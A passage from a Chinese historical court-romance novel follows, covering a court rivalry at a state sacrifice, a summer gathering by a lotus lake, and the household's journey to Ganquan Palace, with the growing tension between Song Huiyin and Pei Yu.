前些时日,他外大父平阳侯的几名学生狎妓被人告到了御史台,为了这几人的官位,吴王和平阳侯可是废了大功夫,将几人塞到卫尉和光禄勋里,还没一月,这几人就因此事被撸了官职丢出京。 虽没有证据证明,但是吴王心知肚明,他才动了东宫两名属官,裴彧便一点亏都不肯吃,减除他外大父家的羽翼,还叫他查不出任何疑点,只能打碎牙往肚子里咽,眼睁睁的看着那几个官位被东宫和其他人填满。 吴王靠近裴彧,阴阳怪气道:“都说你裴彧是天子重臣,未来的国之栋梁。可在寡人看来,你就是太子膝下一只哈巴狗。” 裴彧只觉得好笑,他轻轻瞥了眼吴王,懒得理会他,再度将目光转到前方。 思绪慢慢跑远,自从那夜从邙山带回宋徽音后,两人间的关系变得极为尴尬起来,互相躲着,已经半个月没有碰面了。 吴王被彻底无视,这场合他也不能发火,只压着怒气嗤道:“也是,你连太子不要的女人都能收入囊中,还有什么是不能做的?” 裴彧缓缓转头,漆黑的眼珠紧盯着吴王,趁众人不注意,手下发力,击打在吴王腰间的麻穴上。 吴王感觉半边身子一麻,整个人不受控制的倒在地上,砸到旁边年近七十颤颤巍巍的河间王,河间王倒下去时只听得间“咯吱”一声,河间王老腰闪断,瘫在地上呼嚎。 吴王瞬间汗如雨下,河间王是宗室内最老的王叔,德高望重,在祭祀大典上被他弄成重伤,他都不敢抬头去看祭台上宣帝震怒的目光。 他起身跪在地上,大喊:父皇,都是……” 裴彧截断吴王的话语,装作不知:“吴王殿下莫不是近日太忙了,连祭祀大典上都瞌睡不断,还伤了河间老王爷。” 吴王面露急色,裴彧分明是在点他,谁人不知他今日新纳了一名美妾,满城皆知正是喜爱的时候。 他连忙磕头朝宣帝告罪:“父皇,儿臣一时失礼,求您宽恕。” 裴彧再补上一句:“殿下与其先告罪,不如赶紧派人将老王爷扶下去救治。” 河间王托着腰疼得面目全非,听闻裴彧着句关怀的话,他浑浊的眼里冒出感激之色。 裴彧微笑的望着河间王,搭了把手,帮着众人将他抬上担架。 河间王被抬下去后,宣帝站在高台神色不明,他望着下首跪着的吴王,面无表情的转身回去,继续祭祀大典。 结束后,宣帝走下高台,走过吴王身边脚步不停,扔下一句:“吴王失仪,禁足三月。” —— 莲叶田田,大的如伞,小的如盘,高高低低挤在一起。 徽音在睡梦中被人吵醒,嘈杂声不断传来,有男有女,嬉笑连天。她从夏被中钻出,赤脚下床,走到窗台前望去。 盛放的荷叶间,隐着两只小木舟,舟上有男有女,看模样约莫十四五岁,穿着打扮华贵,不似寻常人家。 徽音继续打量着,视线停在木舟的尾部,那里仰躺着一个少年,单腿翘起,脸上盖着一面荷叶遮阳,双手垫在脑后做枕。 他身侧跪坐着一位小女郎,头发编成麻花状绕在脑后,两侧的发丝柔顺垂在胸前,发髻上朱色的飘带扬在空中,柔和的望着躺下的少年。 风停,一侧的发带垂落在少年的胸前,少年似有所觉,掀开脸上的荷叶望去,嘀嘀咕咕的那女郎凑在一起,不知在谈论什么。 徽音好眠被搅醒的烦躁在看见这一幕后散去,少男少女,情窦初开,她这个局外人都能感受到两人之间绵绵的情意。 她靠在窗台上支着头,望着下面吵吵闹闹的人群,这群人应该是裴衍太学的同窗。 伏日和寒冬太学会给学子放假,今年才立夏,天气炎热,连着一月没有落雨,太学也提起给学子们放假。 莲湖内的几人被晒得不轻,衣衫汗湿,大家都热的够呛,纷纷摘了荷叶顶在头上遮阳。 其中一人看向不远处的临水阁,里头人影走动,一楼大堂临湖,看着异常凉爽,既能纳凉又能玩耍。 他起了心思,招呼众人看过去,大声道:“裴衍,太热了,我们去那边休息一下吧。” 裴衍正跟身边的上官素交谈,不耐烦的挥挥手,“你要去就去。” 他说才觉得不对,顺着他们的目光看去,正是临水阁。裴衍心中一跳,连忙站起身喊:“不行,那边不能去。” 其他几人已经满头大汗,见状不满:“为何不让去?” 上官素也擦着汗,她鼻尖泛红,白皙的肌肤染上红意,额前的碎发湿透,她扯扯裴衍的衣角,难受道:“裴衍,我也好热。” 裴衍还是拒绝,临水阁是徽音的住处,他就是在不济,也知道不能乱带人去后宅女眷的院子。 他指着远处的房屋回道:“临水阁不能去,我们去那里。” 几人看着远处的屋角,万分不情愿,拗不裴衍,只好调转船头。 徽音听着他们的争论,对裴衍改观三分,她亦不喜欢陌生人踏足她的地盘,不过,她想见见和裴衍说话的那位小娘子,想瞧一瞧,能让裴衍这小霸王倾心的人。 徽音到对面窗台,探出院子,唤来擦地的阿蘅,吩咐道:“你去莲湖那,把几位郎君和女郎都请来。” 阿蘅领命,没一会便回来了,身后跟着几个少年少女,颜娘看见这阵仗摸不着头脑,徽音笑意盈盈道:“傅母,帮我招呼一下,我马上下来。” 颜娘听着楼上的叮叮当当的声音,笑着回道:“慢点。” 她视线移到院门口,看清裴衍的面容后,心中有计较。她将这些郎君娘子们领进堂屋,搬了条宽敞的长条矮案在中间,让他们围住矮案落坐,奉上干净的帕子给他们擦脸。 颜娘吩咐几个仆妇去冰窖领些冰回来,又吩咐阿桑去灶上将一早就熬好放凉的绿豆端出来,案桌上还放着新鲜的瓜果。 裴衍有些扭捏,扭着头不去看忙忙碌碌的颜娘,他方才都已经带着人往西院走了,却被那叫阿蘅的婢女喊住,说徽音邀他们去临水阁。 原本就不情不愿的几个人一听,不顾裴衍的阻拦,来了这里。 张席,就是方才闹着要来临水阁的小郎君,他嘴极甜,三两下就将颜娘夸的眉开眼笑,颜娘也不再藏私,将刚刚烙好的糖饼拿了上来。 香软酥脆,香甜可口。屋里置了四个冰盆,一下子就将燥热的气息驱散,取而代之的是冰凉的微风。 徽音收拾好后下楼,夏日炎热,她穿了件绫罗鹅黄直裾,头发样式简单的束在脑后,用一只木篦别好。 众人听见楼梯处传来的动静,纷纷回头望去,就见有一女子立在楼梯口,远山如黛气质幽兰。 有人认出徽音,道出她的姓名,几个人立马拘束起来,老老实实的起身朝徽音行礼。 裴衍在众人的眼神的催促下开口:“徽音阿姊,叨扰你了。” 徽音轻轻点头,没有坐到矮几旁,堂屋门户打开,她搬了个小秤,坐在堂口吹风,望着屋内的众人微笑道:“不必拘礼,你们裴衍的客人,也是我的客人。” 几人松了口气,拿起桌上的糖饼小口吃着,目光却偷偷的溜向徽音那处,透过帷幔,看见她安安静静坐在堂口,望着莲湖,风带起她的发梢,侧脸如玉。 他们见徽音没有过来交谈的意思,屋内又被帷幔隔开,慢慢放下心交谈起来。 徽音静静听着,不着痕迹的打量这群人,四男两女,除去裴衍,其他三人相貌清秀礼仪良好,应是依附裴府的官户人家。 坐在裴衍左手边的张席频频照顾对面那个圆脸女郎,言语关怀,那女郎应当是他的妹妹。 剩下那位便是上官素,徽音撑着头,唇边带笑,上官这个姓不常见,在她的记忆里,京中官员并无上官这个姓氏。 倒是听闻蜀地有一位上官夫子,学识渊博,被太学祭酒千里迢迢请至长安授课,这上官素想必就他的女儿。 上官素与她的名字很像,她眉眼沉静,直视前方,双手交叠在腹前,坐的端端正正。 不同与张席胞妹嬉闹的性子,她很安静,不怎么开口说话,被问到时也只是柔和的笑笑,回复两句。 徽音有些好奇,裴衍不爱读书,屡屡逃课,性子恶劣,与上官素安静的性子南辕北辙。这两人是怎么凑到一起的? 上官素坐在裴衍的右手边,目光落在案几上的香瓜上,这香瓜香气四溢,她有些想吃。 她垂下眼,裴府是她这辈子来过最富贵的地方,这里的一砖一瓦,一草一木都极为讲究。 奴仆训练有素,见识比她还多,更不用说帷幔外的那个娘子,一身普普通通的鹅黄直裾,无金玉装饰,可那通身的气韵,将在此所有人都比了下去。 原来,裴衍身边的都是这样的人,她不禁低头看着自己这身精心挑选的衣裙,心中有些懊悔,她本就是乡野出身,不属于自己的圈子不该硬挤才对。 裴衍注意到身边的人沉默不语,顺着她的目光落在竹篮里那个圆滚滚的香瓜上,是他不喜欢的东西,甜滋滋的齁人。 他拿起那个香瓜,嘴甜的喊着颜娘:“颜娘,我想尝尝这个瓜,你帮忙分食一下可好?” 颜娘笑着接过香瓜,“是奴婢的疏忽,这就去切开。” 一直垂眼的上官素这才抬头,望着身边笑嘻嘻的裴衍,他眉眼虽未长开,但婴儿肥的脸颊褪去,正是少年青涩的时候。 他睫毛很长,眼珠很深,低头看人时眼底总带着一股笑意,叫人心颤。 上官素连忙移开眼,不知为何,她心跳的飞快,明明旁边就是冰盆,她却觉得脸颊生热。 颜娘细心的将香瓜皮削去,切成块,用七个小漆盘分装,每个盘了放着一根削好的竹签。 她吩咐阿蘅将瓜端上桌,自己则绕到帷幔后,将漆盘递给徽音。随后坐在徽音身边,陪她闲话。 里头几位是闲不住的主,叫人把六博棋盘拿出玩赌棋,郎君们嬉闹着,上官素没有参与,她坐在裴衍身后观看,裴衍时不时的回头和她聊天,两人距离挨的极近,他眼虽然在棋盘上,心却在身后。 也许是这香瓜也甜,也许是受那两人的影响,徽音心情很好,她转头望着莲湖高飞的雀鸟,轻轻道:“少年人真好。” 颜娘怪嗔道:“你也才十七,说什么少年,你也还是少年。” 徽音却道:“少年气不是看年龄,是看心境。” 颜娘不想徽音想起不开心的事,看着屋内玩闹的少年们,她问道:“小郎君似乎对那位上官女郎有意,那位上官女郎似乎出身不显?” 非她聪慧,今日来了两位女郎,脸圆圆那位落落大方,衣料不显,但说话做事妥贴,举手投足间都能看出她是被人精心教养过的。 上官女郎挑不出错,但明眼人都瞧得出来,她自进屋起处处拘束,凡事都是先等其他人动作后,她才会照着旁人做。 与那五人不是一路人,除了裴衍,其他几人都不太爱和她交谈。 徽音点头,她喜欢裴衍和上官素之间懵懂的情愫,两人之间未曾捅破窗户纸,但却不自觉的关注对方,吸引对方,连一个眼神都能让人辗转良久。 只可惜,注定是不好的结局。 颜娘也从徽音脸上看出蛛丝马迹,她在宋府待了这么多年,对贵族之间默认的规则也很清楚。 如裴彧裴衍两兄弟,未来的妻室必定是大族出身,再不济,也得是高官之女。 外头声音突然降低了不少,徽音和颜娘只能看见他们凑在一起窃窃私语。几个人似乎在要求裴衍什么,裴衍一脸的不情愿,目光时不时投向她们这里。 最后,裴衍看了眼身后的上官素,艰难的动了脚步,停在帷幔外。 他期期艾艾道明来意:“徽音阿姊,张席的妹妹自幼习瑟,想听你弹奏一曲,不知可否?” 原是这件事,徽音透过帷幔看去,圆脸女郎一脸希冀的望着这边,她也好久没有弹奏了。 徽音答应下来:“可以,我去让人取瑟。” 外间传来小小的欢呼,裴衍舒了口气,顶着众人羡慕的目光回到原位,他第一次觉得,宋徽音是自己家的人,很好。 阿蘅将二十五弦瑟摆好,徽音让她在瑟后摆三个锦席,她端正的坐在瑟后,面朝莲湖,帷幔在她身后轻轻摆动。 她手掌放在瑟上,慢慢摸过去,轻声道:“让两位女郎进来吧,坐得近些,我指点一下指法。” 圆脸女郎开心的叫起来,连忙提起裙摆绕过帷幔,坐在徽音身边,仰慕的望着她。 上官素也心中高兴,在裴衍的鼓励下,她鼓起勇气来到帷幔后,那位玉貌的娘子笑意盈盈的望着她,拍了拍身侧的锦席,示意她过去坐。 上官素害羞的低下头靠过去,艳羡的望着徽音的侧脸,她也曾学过瑟,却没有音律天赋,没多久就放下了。 徽音凝神静气,手指轻轻拨弄,饱满厚重的音色从她手底下传出。她没有弹奏曲子,而是随心而动,音色从低到高。瑟的低音浑厚,中音明亮穿透,高音清脆剔透。 教授完指法后,徽音手下一转,一曲《关雎》奏出,曲调婉转悠扬。 裴彧方从正阳院出来,行至中庭廊道上便听到这音律。裴夫人和贺佳莹都不会乐器,二人也不喜乐律,是以府中并未豢养乐妓,弹奏的人,只有徽音。 他脚步转变,顺着莲湖旁的碎石子路向前,停在临水阁外。在这里,他能看见一楼堂屋外的三个人,正中间抚瑟的正是多日未见的徽音,她旁边两个女郎裴彧并不认识。 一曲终了,时候也不早了,裴衍几人朝徽音拜别离去,徽音坐在原地没动,只在上官素起身时拉住她,将手中的绢帛递给她。 上官素望着手中的绢帛,面带疑惑。 徽音笑道:“这是长安一些不成文的礼仪和行话,你刚到长安不久,很多事情都不懂,这个应该能帮到你。” 上官素打开手中的绢帛,上头写的满满当当,从礼仪到祝语,事无巨细的都写上了。她万分感激,不知如何感谢才好。 徽音很喜欢上官素,也不图她什么。她朝一侧歪头笑盈盈说:“快去吧,别让他们久等。” 上官素好生收好绢帛,朝徽音屈膝行礼,转身离开。 几人欢声笑语的离开临水阁,还没走几步路,裴衍便浑身一僵停在原地。 张席等人不明所以的看过去,前方碎石道上,立着一个身如长立的身影,他独自一人站在湖边,望着临水阁的方向,不知道在想些什么。 裴衍想要带着人悄无声息的溜走。 其他三人却早已上前恭敬行礼:“小子见过裴将军。” 他们这三人谁人不知道裴彧的威望,早就羡慕裴衍有一个武神下凡的兄长,眼馋的紧。好不容易有机会在裴彧面前露脸,自然不会放过。 裴衍无奈上去喊道:“阿兄。” 裴彧回身,目光扫过四人和不远处的两位女郎。他点点头,问道:“要回了吗?” 三人再次恭敬回道:“是,多谢府上招待,今日多有叨扰。” “你们是阿衍朋友,不必客气。”裴彧吩咐裴衍,“带你的朋友去前院找驰厌挑选礼物,再让他送你朋友回去。” 裴衍喜上眉梢,大喊:“多谢阿兄!” 他阿兄院中都是从匈奴人和西域那边流过来的硬通货,全是精铁所铸的武器,还有弓。平日里都不让裴衍靠近,今日却如此大方。 裴衍担心他反悔,拉着几人快速溜走。 他们走后,裴衍回头,徽音已经不在那处了,那里只剩一张瑟。 —— 晚间,裴夫人突然传话让众人都去她的正阳院。徽音过去的路上正好碰见贺佳莹,两人遂一起结伴过去。 前些时日贺佳莹终于松口愿意相看,裴夫人欢喜难抑,却在看见侄女磕绊的礼仪时,一阵头痛,终于重视起了她的教养问题,特意请陶媪去补课。 贺佳莹不住抱怨:“你不知道,我这些时候睁眼就是学礼仪,如何坐卧,如何微笑,如何用饭,我都快不像我自己了!” 徽音见她确实与以往大不相同,从前贺佳莹打扮娇俏,偏爱胭红等艳色,今日的她一身素色曲裾,只配一对银钗。倒显得她眉目淡雅,可爱亲和。 她宽慰道:“你今日这般很好。” 贺佳莹不自觉摸摸头发,不好意思道:“真的吗?” “真的。”徽音肯定的点点头。 两人叙话间已经来到正阳院,春分连忙将两人引进屋,带入伺候她们退履。屋内已经摆上冰盆,凉意铺面,驱散二人身上的燥意。 裴夫人坐在正上首,身后是一架新制的彩绘屏风,面前的矮案上铺着一层紫竹席,身后跪着两名婢女轻摇半扇。 裴彧和裴衍两兄弟已经到了,坐在裴夫人下首的锦席上,左右两侧各一个位置。贺佳莹率先坐到靠近裴衍的那边,凑近他问话。 徽音走到裴彧身边,提着裙跪坐下来,她跪坐下只到裴衍的肩旁处,这是自那日后徽音第一次见裴彧,她觉得他好像有哪里不一样,但又说不出来。 裴夫人见人到齐了,说起了正事:“今日陛下下旨,长安内二千石以上的官员和其家眷于下月初一搬去甘泉宫避暑。我们裴家也才此列,这些时日,你们就将东西收拾收拾。” 裴彧道:“陛下命儿子和平阳侯负责甘泉宫的防卫,三日后出京,届时阿母带着他们三人随御驾启程就可,儿子将驰厌和方木留下护卫。” 裴夫人点点头,又道:“今年避暑比往年还早了半旬,这长安确实是热。” 交代完事情,她也没有其他要说的,摆手让大家都退下。贺佳莹揉揉眼,确认自己没看错,她疑问道:“表兄,我还是第一次见你穿靛蓝色。” 徽音想起来了,裴彧以往要么穿官袍和甲胄,要么就是一身玄色曲裾,今日他破天荒穿了件从未穿过的颜色。 玄色让他看起来多了几分沉稳,身上的肃杀其也重了几分,靛蓝色却不一样,配着他上扬的眼角,剑眉星目,风流十足。 裴彧面不改色:“随时拿的。” 四人出了院门,裴衍和贺佳莹相互拌嘴离开,徽音等着裴彧先走。 裴彧上前两步,突然改变主意,回头望着徽音,“今夜我去你那里。” “好。”徽音点头,走到裴彧身边,和他并肩而行。 颜娘和婢女们跟在二人身后,其中一个婢女提着灯要上前领路,裴彧拦下她,取过风灯,带着徽音先行几步。 徽音问:“我也去甘泉宫避暑,会不会不好?” “有什么不好?”裴彧挑眉,侧脸看着徽音。 徽音抿着唇,想说自己身份特殊,这种场合去了不好。 裴彧心中有数,补上一句:“除了二千石以上的官员,还有宗氏,几大氏族和陛下钦点的数十位,这些人的家眷加起来,出行高达数千人,你不必担心。” “嗯。”徽音应声,提起了一桩事,“已经数月未曾落雨,太史令那边怎么说?” 这个问题已经涉及政事,按理,不应该随意说出去,徽音想听,裴彧便告诉她。 “太史令预测,未来两月都不会降雨。” “那岂不是要,大旱?”徽音皱眉。 裴彧点头,回道:“这两年府库粮食充足,即便大旱也能扛过去,陛下已经命人去清点存粮,必要时,会开仓放粮。” 两人说话间,已经到了临水阁,从前不觉得临水阁小,入了夏,裴彧再来,洗漱到成了问题。 裴彧自认有君子之风,慵懒的坐在矮榻上,让徽音先用浴房。 徽音打量一圈,确认没看见还有其他手书的竹简遗留后,放心的进了浴房。 她收拾完,看见一旁放置的寝衣,夏日衣裳薄,寝衣更是透气轻薄,行走间影影绰绰,依稀能看见裙下的双腿。 她刚刚进屋,里头的裴彧就出声:“好了?” 徽音低低应了声,不去看他那边,她跪坐在铜镜前通发。余光却关注着裴彧,看着他起身越过自己,走进浴房。 没过多久,裴彧就从浴房出来,他穿中衣和绫裤,眉间染上水意,看起来多了几分柔和。 裴彧依旧从衣橱底下拖出地铺摆在屋中央,整理好后他就坐了上去,盘腿看着通发的徽音。 徽音透过铜镜看清他的动作,慢吞吞的转身询问:“你今日还是睡地铺?” 裴彧拍拍被褥,漫不经心道:“热,睡地上凉快。” 徽音默默看了眼屋内的大冰盆,识趣的没有接话。 裴彧似乎是觉得无聊,起身走到橱柜边翻箱倒柜,徽音听着那边发来的杂声,好奇的走过去。 徽音:“你在找什么?” 裴彧头也不抬:“棋盘,不困,下两局。” 徽音:“……”她才不要和这个臭棋篓子下。 徽音朝内室走去,抬手掩在唇上,假装打着哈欠道:“我困了,我想睡觉。” 她还没走出去两步,手臂就被人抓住,裴彧在她身后问道:“嫌弃我?” 徽音转头,眨眨眼,摇着头:“没有,真困了。” 裴彧轻哼:“你平日不到亥时不歇息,今日怎么困这么早?” 徽音只感觉手腕上传来阵阵热意,裴彧手心的热度似要将她融化,她现在真的信了裴彧说热的话。 她想往回抽手,奈何那人不放,一双漆黑的眼珠紧紧盯着她,徽音甚至能看见裴彧眼中自己的倒影。 她想开口解释,窗户没有关好,一阵风袭来,屋内一侧的灯盏被吹熄,只剩屋门口那一盏独灯还在轻轻摇曳。 屋内骤然暗下来,两人都有些猝不及防,一同动作想要去点灯。徽音知道灯油放在哪里,裴彧却不知道,动身时刚好撞在一起。 徽音身形不稳的朝后倒去,连带着握着她手腕的裴彧也跟着倒下,狼狈的摔在地上。 好在裴彧眼疾手快的将她拉进怀中,将手垫在她脑后,徽音这才没瞌伤。 但她此刻却比没瞌伤更难受,她看着上方垂眼望着她的裴彧,心跳的极快。 裴彧垂下的头发落在她的胸口,她本来不觉的热的身体开始蒙上燥意,连周围的气息都变得黏黏糊糊。 徽音第一次觉得,裴彧的睫毛很长,垂眼时,浓密的像把小扇。她看见裴彧鼻尖上浅浅的小痣,还有他眼底的的自己。 两人距离挨的很近,近到裴彧只要一低头,就能亲上徽音的唇。 他轻轻勾唇,脑袋向下压,用着徽音熟悉的语调,他说:“宋徽音,你心跳的好快。” 第33章 他为何生气 西直门外, 旌旗蔽日,车水马龙。 徽音和贺佳莹坐在马车内,两人凑在一起朝外望, 裴夫人在前面那辆马车上。 贺佳莹望着后方城门口经久不绝的车队,不禁叹道:“人真多啊。” 徽音想起裴彧的话, 他说这次避暑京中大半官员都在列中,眼前的才一半人数,剩下的约莫要午时才能出城。 好在裴府女眷是跟着皇后的车架,否则这个炎热天气, 在城门口等到午时,即便是在马车内也受罪。 这辆马车位置宽敞, 车厢内都做了防震的处理, 一应用物俱全,是裴夫人临行前叫人改造, 特意给徽音和贺佳莹备下的,好叫她们两人路上做个伴。 贺佳莹脸就凑出去一会就晒得通红,疏影将人劝进来,用沾了凉水的帕子替她降温。 贺佳莹用帕子捂住脸,瓮声瓮气的说:“我看了好一会也没看陛下的天子六架。” 徽音靠在车厢上研究古字文, 这是冯承从各地收集起来的古字, 他知道徽音喜欢钻研这些, 这次甘泉宫避暑他也在列, 一大早就让人送来这些给徽音解闷。 贺佳莹闭眼听了半天也没听到徽音的回复, 她取下脸上的帕子抱怨道:“从上车起你就在看这个字, 有这么好看吗?” 她凑过去,竹片上全是她看不懂的古字,贺佳莹揉揉眼不敢相信, 楞楞道:“我不学无术到这个地步了吗,我怎么一个字都不认识!” 颜娘和疏影听见这句话笑出了声,徽音放下竹简,好笑的看着她:“这些都是商朝时期的甲骨文。” 贺佳莹:“这样啊。” “天子六架在最前面,等到了甘泉宫你就能见着了。” 徽音捶着有些僵硬的腿,马车虽然做了防震,坐久了还是有些不适。 颜娘注意到徽音的动作,探头去看天色,“快到午时了,车队应该会停下休整一二,到时候可以下去活动活动。” 没走多远,马车停住不动,一队执金吾卫骑着快马快速朝后方奔去,沿途喊着口令:“原地休整,一个时辰后出发。” 徽音等人从辰时起就上了马车,此刻都有些恹恹的,迫不及待下马车透风。 裴夫人被皇后叫去作陪,裴衍出城后就骑马直奔裴彧所在地,裴府的车架只剩徽音和贺佳莹两人,备食的宫人似乎忘了她们二人,眼看着其他家的午膳都送到了,唯有她们这处无人问津。 徽音察觉不对,让颜娘过去问问。没一会,颜娘一脸气愤的回来,怒道:“那宫人说,裴府的主子们都在前面陪陛下和皇后用膳,以为这边已经没人,便没有准备。奴叫她们回去取,她们却说饭食已经分发完,没有了。” “什么?”贺佳莹一脸不悦,正要过去理论。 徽音拉住她,示意她坐下,“那两个宫人从方才开始就一直在关注我们这边,若我没猜错,是有人故意的。” 贺佳莹问:“谁啊?” 徽音:“能知道裴夫人,裴彧,裴衍三人的动向,又能支使宫人,必定是陛下和皇后身边亲近的人,我猜是广陵公主。” 贺佳莹方才还嚣张的气势瞬间消失,广陵公主是郑妃娘娘的女儿,陛下的长女,自幼受尽宠爱。 她与睢阳公主不同,仗着受宠,性格极其跋扈,京中只要是她看不顺眼的女娘,都会被她教训一顿。 贺佳莹想起往事,脸色难看:“好端端的我们又没得罪她,她干嘛刁难我们?” 徽音支着头:“上巳节的时候我得罪了郑妃娘娘,应该是为着此事,连累了你。” 贺佳莹也知道两家的恩怨,她在广陵公主身上也吃过两次亏,知晓她的性子。她没再说什么,只拿一双水盈盈的眼睛望着徽音,她饿。 徽音吩咐颜娘,让她去马车上备的干粮拿过来,四人坐在树下的帐篷里,啃着加热后的烤饼,贺佳莹一脸菜色,她是个无肉不欢的主,让她吃这干巴巴的烤饼比杀了她还难受。 徽音安慰她:“等到了甘泉行宫,一定好好补偿你。” 贺佳莹咬着硬邦邦的烤饼点点头。 “徽音。” 埋头啃饼的四人抬头望去,王寰一身月白长袍,头戴玉冠,面带笑意的望着这边,他身后跟着三个短襦男仆。 徽音擦掉嘴边的饼屑,起身行礼,“王郎君。” 贺佳莹一把将手中啃的只剩一半的烤饼塞到身后,也站起身,尬尴的开口:“王……王郎君。” 王寰走上前,看清两人脸上的窘色,他没有揭穿,挥手唤来身后的奴仆,从他们手中接过食盒放在徽音身边,笑道:“天气炎热,我没什么胃口用饭,倒是想尝尝你们这烤饼,用这食盒与你们换,如何?” 徽音还没接话,贺佳莹就一脸喜意,一口答应下来。 她自身后的漆盒中拿出两块烤饼塞到王寰手里,迫不及待的打开了身侧的食盒,一叠炙肉,招呼徽音快过去吃。 王寰沉默的看着手中干硬的烤饼,默默的塞到身后人的手中。 徽音明白他是找借口过来送饭的,并非真的要吃烤饼,她笑道:“多谢你,你将饭食给了我们,你等会怎么办?” 王寰低头浅笑,玩笑道:“我堂堂王氏郎君,总不至于饿到。” 徽音“唔”了一声,眼底带笑:“也是,广陵公主会为难我,可不会为难你。” “你又取笑我。”王寰无奈道,“好了,快去用饭吧,等会就要启程了。” 徽音点点头,等王寰走远后,她才进了帐篷,借过颜娘递来的小碗,开始用饭,这饭菜确实要比那干巴巴的烤饼好的多。 贺佳莹望着王寰清隽的背影,不禁叹道:“似王郎君这样的如玉的人物,世间谁能配的上。” 徽音瞥了她一眼,淡淡道:“烤饼能配得上。” 此话一出,其他三人啼笑皆非,贺佳莹更是一口呛在喉咙里,连连咳嗽,她咳完瞪着徽音,哼道:“你真是煞风景。” 没一会她便眼珠一转,问道:“我曾听说你与王寰差一点就定亲了,是什么事情导致你们没成啊?” 徽音不是很想回答这个问题,奈何贺佳莹缠着她不停追问,她敷衍两句:“不是你想的那样有内情,当时年纪小,不懂定亲成亲为何,王寰便主动提出过两年再谈亲事。” 贺佳莹深吸一口,捂住嘴惊讶道:“这么说,若你家没出事,你与他现在便成亲了?” 徽音沉思片刻:“大概吧。” 贺佳莹又问:“那现在你能选的话,选他还是选我表兄啊?” 听她提起裴彧,徽音不知为何想起了那夜,想起裴彧那双深不见底的眼睛。手臂上像是有只小虫沿着她的肌肤一路向上爬,带起她一片战栗。 这种感觉太过陌生,令她害怕。徽音快速脱口道:“王寰。” 她补上一句,目光坚定,似乎是在说服自己,“如果一切没有发生,我会嫁给王寰。” 远处树林内的脚步蓦然停下,裴彧望着那边的身影,眼底的笑意消散。他将手上的食盒递给一旁的仆从,吩咐他送过去。 贺佳莹那边还在追问:“这么说,你是心悦王寰?” “心悦?“徽音面露迷茫,又摇摇头,”不是,只是和他在一起很合适。” 她虽不懂情爱,却也明白自己对王寰,绝不是心悦。 贺佳莹眼骨碌一转,起了心思,对着徽音一顿劝慰:“你这个想法不对,若要成亲,一定是要与心悦的人才行,王郎君并非你的良配。我表兄才是,他天之骄子,容貌俊朗……” 贺佳莹还没夸完,身后有人打断她的话音;“宋娘子,贺女郎,这是方才少将军送来的。” 徽音一顿,回头望去,那个玄衣身影已经走到乌骓马旁,小臂发力,身形矫健的跃上马,疾驰离开。 是裴彧,这个时候他不应该陪侍在陛下身边吗? 贺佳莹疑惑的接过食盒,打开一看,里面的饭菜比王寰送来的丰盛多,还冒着热气,应该是一出锅就被人快速送来。 她问着那仆人:“表兄人呢?” 仆人回道:”少将军身有要务,已经走了。” 贺佳莹点点头,望着丰盛的菜肴束手无策,她们几人都已经用完饭,实在吃不下了,她将饭菜分下去,招呼裴府的仆从过来用饭。 徽音一直望着裴彧离去的方向沉思,方才,他都听到了吗? —— 三天的跋涉结束,临近酉时,天色渐暗,御驾终于抵达甘泉宫,甘泉宫内早已布置妥当,此刻灯火通明,全部的宫人都等候在甘泉宫大门处,迎接天下之主。 甘泉宫是由一个庞大的宫殿建筑群组成,包含几十座居住的宫殿,台榭,苑林,马场等,附近还有几处军队驻扎地。 这次避暑之行加上陪同的属官,宫人和驻守的军队,约莫有数万人。 宫殿群有内外之分,内宫由陛下皇后,后妃,皇子公主和亲近宗室入住,外宫则是官员的家眷亲属。 徽音等女眷的车架不用去甘泉宫正门,已经由分布在各处的宫婢们从侧门引进,前往已经安排好的宫殿入住。 裴府分到的靠近内宫的迎风馆,由四个小院组成,俯瞰像个“田”字。 裴夫人住在靠南的院子里,贺佳莹住在裴夫人的左边,另一间小院给徽音和裴彧,剩下的那间则是给裴衍。 一切安排妥当后已经深夜,徽音沐浴洗去三天的奔波疲惫,甘泉宫是避暑胜地,屋内没有置冰,气候凉爽舒适,走动间都能感觉到裙底摇曳的凉风。 这间房屋比裴府的临水阁要大一半,屋内宽敞,南北通透。徽音走进内室,颜娘正带着阿桑和阿蘅归置行礼,屋门处还摆着三个大木箱。 她好奇的靠过去,木箱内放的都是男子衣物,还有一些兵书竹简和武器。她拿起左侧箱中的精巧匕首在手中把玩,想起白日里裴彧离去的背影,在甘泉宫避暑这段时日,她应当是要与裴彧一起住的。 徽音放下匕首,坐到榻上,无意识的望着门外,已经戌时末了,算算时辰,裴彧也该回来了。 颜娘将屋子内都收拾好,走到徽音面前准备服侍她睡下。徽音摇摇头,让颜娘先下去歇息,她坐在这里等裴彧。 等人都下去后,屋子里恢复平静,徽音拿起剪刀修剪案几上的素馨花,素馨花花瓣洁白细小,香气浓郁,徽音喜欢这个味道。 她静静的等了好久,等到颜娘小心翼翼在门口问询:“徽音,快子时了,少将军应该不会回了。” 徽音面无表情的点点头,转身走进内室,熄灯睡下。 —— 翌日一早,徽音从床上转醒,盯着头顶的青色帷幔发呆了一会,才拍拍脸从床上爬起来,收拾好去给裴夫人请安。 她到裴夫人院子时贺佳莹和裴衍已经在了,正一左一右的围着裴夫人逗她笑。三人见她到来,笑着招呼让她赶紧过去。 裴衍问:“徽音阿姊,怎么就你一个人,我阿兄呢?” 裴夫人也面带疑惑的望着徽音身后。 徽音坐在裴夫人下方,回道:“许是公务繁忙,少将军昨夜并未回来。” 裴夫人眉心紧皱,她已经半个月没见到裴彧了,她敲着裴衍的脑袋,吩咐道:“你去苑林那边找找你阿兄,叫他空回来一趟。” 裴衍捂着脑袋笑眯起眼,启程第二日裴夫人担心他闯祸,将他拘在身边不让出去,他闷了两日,这下终于能出去放风了。 裴衍走后,裴夫人说起正事:“明日一早各府家眷要入内宫给皇后娘娘请安,你们两人不用去,可以出去走走,参加一下贵女间的小宴。” 徽音和贺佳莹对视一眼,点点头。 裴夫人喝了一口茶,斜瞪着贺佳莹:“这次来行宫避暑不单单是玩乐,还是带你来相看的,前些天让你学的礼仪正好派上用场。” 贺佳莹瘪瘪嘴,扯出一抹笑意乖巧的称“好”。 裴夫人满意的露出笑,看着一旁端坐的徽音放下心,有徽音在,侄女必定老老实实的不敢造次。 用过午膳,贺佳莹闲不住的拉着徽音出门闲逛,她们没有通行令,不能进出内宫。但甘泉宫地广,即便是在外宫,可逛的去处也很多,如江南园林,飞龙雕阁,叠泉瀑布。 徽音对这些没有兴趣,她只想回去补觉。奈何贺佳莹不愿意放过她,拉着她在外宫逛了一圈外,又要拉着她去苑林马场骑马。 